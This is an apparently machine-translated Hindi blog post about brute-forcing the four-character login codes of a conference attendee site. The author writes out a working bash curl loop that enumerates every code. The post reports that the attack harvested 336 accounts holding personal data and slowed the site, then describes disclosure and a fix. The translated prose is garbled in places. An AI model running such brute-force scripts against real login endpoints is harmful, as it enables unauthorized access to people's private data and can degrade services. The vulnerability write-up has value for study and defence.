बाईं ओर की तस्वीर देखें, या सेंट पीटर्सबर्ग के लिए रवाना हुए बिना, मैंने सिटीकैम्प में कैसे भाग लिया, इसके बारे में।



और यदि चुटकुले के बिना, मैं आपको बताता हूं कि सिटीकैंप सम्मेलन के प्रतिभागियों के व्यक्तिगत डेटा (ईमेल पते, काम की जगह और आयोजित की गई स्थिति, मोबाइल फोन नंबर आदि) के बारे में जानकारी प्राप्त करने के लिए केवल एक साधारण ईमानदार प्रोग्रामर ने मुझे कैसे कुछ मिनट का खाली समय दिया। और 11 अन्य ।



सावधानी यातायात।

प्रागितिहास

शनिवार की देर रात, बिस्तर पर जाने से पहले, ग्रुज़नोव और मैंने स्काइप पर कुछ चीजों पर चर्चा करने का फैसला किया, और इसके अलावा, मैं चाहता था कि वह मुझे उस सिटीकैम्प के बारे में बताए जो उसने दिन में देखी थी। अन्य बातों के अलावा, डेवलपर्स के बारे में बातचीत हुई, जिनसे वह सम्मेलन में मिले, और उनके स्टार्टअप। और उनकी गतिविधि में सिटीकैम्प जैसी घटनाओं के लिए इंटरनेट संसाधनों की तैनाती के लिए एक प्रणाली तैयार करना शामिल है।



उनके खाते से लिंक और एक 4 अल्फ़ान्यूमेरिक एक्सेस कोड प्राप्त करने के बाद, मैं देख पा रहा था कि उनका सिस्टम कैसा है। सामान्य तौर पर, यह सम्मेलन के प्रतिभागियों के लिए एक मिनी-संपर्क जैसा है और सब कुछ बहुत सुस्त है। प्रतीक स्पष्ट रूप से मुक्त स्टॉक से हैं, इंटरफ़ेस चमक नहीं है, "घुटने पर विधानसभा" की एक पूर्ण और स्थायी भावना। आगे देखते हुए, मैं कहता हूँ कि, चाहे वह पहली नज़र में कैसा भी लगे, ऐसा लगता है कि डेवलपर्स की एक पूरी टीम ने इस परियोजना पर काम किया है, ऐसा लगता है कि उनका अपना कार्यालय भी है। यह एक स्कूली छात्र नहीं है! हालांकि, शायद, कुछ छात्र बेहतर प्रदर्शन करेंगे। सामान्य तौर पर, यह मज़ाक करने के लिए अच्छा है ... =)

बिंदु पर पहुँचो

सबसे पहले, किसी भी जिज्ञासु डेवलपर की तरह, मैं जानना चाहता था कि यह क्या किया गया था। दुर्भाग्य से, माइकल के पास ऐसी कोई जानकारी नहीं थी, इसलिए सबसे पहले मैंने वेब सर्वर के रिस्पॉन्स हेडर (आप कभी नहीं जानते) को देखा और html में देखा:



वाह, 17 tsesok ... =) खैर, यह कहना है कि यह बीटा के लिए excusable है। यह भी पता चला है कि केंद्र टैग वापस फैशन में है, कम से कम कुछ संक्षिप्त HTML 5 सिद्धांत लिखना फैशनेबल नहीं है, और <style> bla-bla </ style> को सीधे शरीर पर लिखा जा सकता है। निर्देशों पर, जो, सिद्धांत रूप में, वेब सर्वर के हेडर में होना चाहिए, लेकिन ब्राउज़र में HTML में निकला, और बाकी की भयावहता के कारण, मैं अपनी आँखें बंद कर लूंगा।



तब मैं अचानक 404 त्रुटि को देखना चाहता था और मैंने, ब्राउज़र के एड्रेस बार में हैब्रोकाड्रा में प्रवेश किया, निकला ... आप कहां सोचेंगे? किसी कारण से, लॉगिन पृष्ठ पर जिसके साथ मैंने शुरू किया था:





यहाँ तो, यह सिर्फ मिलाते हुए और आँख हिलाना शुरू कर दिया। यह सिर्फ एक सक्रियण कोड नहीं है! मैंने शुरू में किस पर ध्यान नहीं दिया। सभी कॉन्फ्रेंस प्रतिभागी संख्याओं के साथ चार अक्षरों का उपयोग करके अपने खातों में प्रवेश करते हैं।

पैरों के कान

तुरंत मैंने पाया कि पत्रों का मामला मायने नहीं रखता। मुझे अब लॉगिन की आवृत्ति और विफल प्रयासों के काउंटर पर किसी भी सुरक्षा की उम्मीद नहीं थी। लेकिन यह नहीं था। मैंने मिखाइल के साथ अपने विचार साझा किए और हमने जल्दी से संभव संयोजनों की संख्या का पता लगाया और लगभग सबसे अधिक समय तक सबसे प्रचलित http-brute बल की विस्तृत खोज के लिए किया। वे हँसे, और फैसला किया कि कल मिखाइल के पास रिपोर्ट का एक अच्छा कारण होगा, और मैं स्पष्ट रूप से प्रदर्शित करूंगा कि किसी को परेशान नहीं किया गया था।



इसके बाद, मैंने फ़ायरबग खोला, लेकिन वह अपडेट करने के बाद विफल होना शुरू हो गया, फिर मैंने बस फॉर्म कोड को देखा और महसूस किया कि हमारे दोस्त शायद न केवल बनाने में असमर्थ हैं, बल्कि पोस्ट से भी प्राप्त कर सकते हैं। हालाँकि फॉर्म ने डाक अनुरोध भेजे, लेकिन myrange.ru/login?code=fuck जैसे पते को भी सफलता मिली।



हम सहमत थे कि रात में मुझे लॉगिन की पूरी सूची प्राप्त होगी और सुबह मैं उसे एक रिपोर्ट दूंगा। काम करने के लिए शुभ रात्रि सेट। सब कुछ बहुत सुविधाजनक और तुच्छ था। सफल प्रमाणीकरण के मामले में, सर्वर ने प्रोफाइल पेज पर 302 वें रीडायरेक्ट को वापस कर दिया, अन्यथा लॉगिन फॉर्म के साथ 200 वां कोड।



मैंने संपादक को खोला, और हल्के से एक मिनट में कर्ल मेन को जला दिया:

 #!/bin/bash for w in {{a..z},{0..9}}{{a..z},{0..9}}{{a..z},{0..9}}{{a..z},{0..9}}; do curl -I --write-out %{http_code} --silent --output /dev/null http://myrange.ru/login?code=$w; echo " $w"; done
      
      

        
        
        
      

    
        
        
        
      
      

        
        
        
      

    
     

इसे brute.sh के रूप में सहेजा गया है, और फिर इसे लॉन्च किया है (इस मामले में निष्पादन योग्य ध्वज को स्थापित करना अतिश्योक्तिपूर्ण होगा, और होम सेक्शन noexec के साथ आरोहित है):

$ sh brut.sh > brut.txt







यह देखना संभव था:

$ tail -f brut.txt





रेंगने वाले फॉर्म का रिकॉर्ड कितनी जल्दी:

...

200 abc0

200 abc1

302 abc2

200 abc3

...







पहले 5 लॉगिन एक मिनट में प्राप्त किए गए थे। इसके अलावा, यह संख्या तेजी से बढ़ रही थी।

$ grep 302 brut.txt | wc -l

336





स्पॉट चेक से पता चला कि सब कुछ काम करता है:



और मैं वक्ताओं में वॉल्यूम जोड़ रहा हूं और व्यवस्थापक अलार्म चालू कर रहा हूं

$ sleep 5h && cat /dev/urandom >> /dev/dsp





सो गया।



मैं स्काइप कॉल के बाद उठा, मिखाइल पहले उठ गया। मुझे यह जानकर आश्चर्य हुआ कि ब्रूटस अभी तक समाप्त नहीं हुआ था। इसका कारण तुरंत पता चला था। 5 घंटे (केवल 10 प्रति सेकंड) के लिए अपने सर्वर के लिए ~ 200,000 सिर अनुरोधों के बाद, उनकी पूरी साइट ने कछुआ गति से काम करना शुरू कर दिया। मैंने क्रूरता को रोक दिया, लेकिन स्थिति में सुधार नहीं हुआ, शायद आधे घंटे बाद कुछ मिनटों के लिए पृष्ठ खुल गए, फिर स्थिति धीरे-धीरे सुधरने लगी, लेकिन आखिरकार इसने काम नहीं किया।



मैंने तब प्रयोग के लिए कोशिश की और जानवर इस तरह चले गए: 10 अनुरोध जल्दी, फिर 4-5 सेकंड का ठहराव, तीन जल्दी, और 4-5 का ठहराव, फिर दोहराता है। या तो सर्वर पर व्यवस्थापक ने कुछ किया है, लेकिन यह संभावना नहीं है, यह स्पष्ट नहीं है कि यदि वह कम से कम लॉग देखता है, तो उसने अपमान को रोकते हुए तुरंत मेरे आईपी पर प्रतिबंध क्यों नहीं लगाया? या तो ... तो फिर मैं इस पर काम करने में दिलचस्पी रखने लगा। उनके पास स्पष्ट रूप से स्मृति रिसाव या खुले कनेक्शन कहीं हैं, ऐसा कुछ।

परिणाम

आगे भी जारी रखने का कोई मतलब नहीं था, मिखाइल निकलने वाला था और मैंने जल्दी से उसे फेंक दिया कि क्या हुआ:

$ grep 302 brut.txt | cut -d ' ' -f2 > brut.sep.txt







मैंने हैबर पर एक लेख लिखने की इच्छा भी व्यक्त की, शायद किसी और के लिए यह एक सबक होगा। हम इस बात पर सहमत थे कि वह डेवलपर्स को सभी नफिग को बंद करने के लिए सूचित करेंगे और मुझे बताएंगे। फिर मैं इसे प्रकाशित कर सकता हूं।



लेकिन मैंने अभी भी अपनी मुख्य जिज्ञासा की अनुमति नहीं दी, और इसलिए मैं साइट के चारों ओर थोड़ा चलना चाहता था। लेकिन वे इसे बेचने जा रहे हैं:





खुशी और संतुष्टि जल्दी से, पूरी तरह से अप्रत्याशित रूप से, कुछ तुच्छ ऑपरेशन पर (प्रतिभागियों की सूची की एक लिंक के माध्यम से प्रोफ़ाइल से स्विच करना) आया:



अगले चरण के रूप में, आनन्दित होने का समय नहीं था:





तुम लोग गड़बड़ नहीं हो? यह उत्पादन वास्तविक उपयोगकर्ताओं पर वास्तविक जीवन में पहले से ही काम करता है, आखिर क्या पता चलता है? जैसा कि मैं इसे समझता हूं, आपके पास कम से कम चार लोगों की टीम है (क्षमा करें, अगर मैं गलत हूं), लेकिन क्या आपके डिजाइनर के लिए भी ऐसा नहीं है कि चार-वर्ण पहुंच कोड लॉगिन-खुला है? मुझे नहीं पता कि अब आप कैसे बाहर निकलेंगे, शायद कम से कम एक तुच्छ कैप्चा डाल दें? यह इतना सरल है, सक्षम एनकोडर समय के कुछ ही मिनटों में, तैयार समाधान हैं। कोई रक्षा नहीं है, लेकिन पहले से ही, कम से कम, यह पद मौजूद नहीं होगा। मैं एक साधारण प्रोग्रामर हैकर (शब्द के रूसी अर्थ में) नहीं हूं। यदि एक ब्रूट स्क्रिप्ट को कैप्चा की मान्यता की आवश्यकता होती है और इसमें कुछ मिनट लगते हैं, तो मैं इस मूर्खता पर अपना समय बर्बाद नहीं करूंगा। हालाँकि, मुझे डर है कि सामान्य स्थिति ऐसी है, और यदि मैं अधिक बारीकी से देखता हूं, तो मुझे छेदों के माध्यम से श्रृंखला मिलेगी।



लेकिन यह सब बस किसी भी द्वार में फिट नहीं होता है। मैं भी परियोजनाओं के लिए कठोर पैच के साथ Gentoo इकट्ठा, और यहाँ यह है। यह मूल बातें है! क्या, नफिग, नवाचार, सम्मेलन, स्टार्टअप? और यह बीटा नहीं है, यह किसी तरह का शुरुआती अल्फा है, मैं यहां तक ​​कहूंगा कि यह एक प्रोटोटाइप है।



अपने निष्कर्ष निकालें।



ps आज सुबह, सिटीकैम्प के खुलने के बाद, सभी इच्छुक पार्टियों को सूचित किया गया और चेतावनी दी गई। कुछ घंटे बीत गए। उन्होंने मुझे पोस्ट करने के लिए आगे बढ़ाया, और ऐसा लगता है कि वे इस लॉगिन फ़ॉर्म को बिल्कुल भी डिस्कनेक्ट नहीं करने जा रहे हैं, वे कहते हैं कि यह जिस तरह से होना चाहिए, ठीक है, वैसे ही रहने दें।



pps शुरुआत से अंत तक आप कला के एक काम के साथ काम कर रहे हैं। इसमें वर्णित घटनाएं केवल वास्तविकता के लिए आंशिक समानता हो सकती हैं, जो यादृच्छिक है। और जिन व्यक्तियों का उल्लेख किया गया है वे काल्पनिक नायक हैं, वास्तविक लोगों के साथ कोई भी संयोग, एक दुर्घटना से ज्यादा कुछ नहीं है। कथन तीसरे पक्ष की ओर से संचालित किया जाता है।



UPD: एक प्रतिक्रिया हुई । खैर, जवाब अच्छा है, अच्छा है। विषय में अत्यधिक व्यंग्य और उपहास के लिए क्षमा करें, लेकिन, मुझे आशा है, भविष्य के लिए एक और सबक के रूप में काम करेगा।



UPD2: समस्या ठीक हो गई थी, साइट तक पहुंच बहाल कर दी गई थी।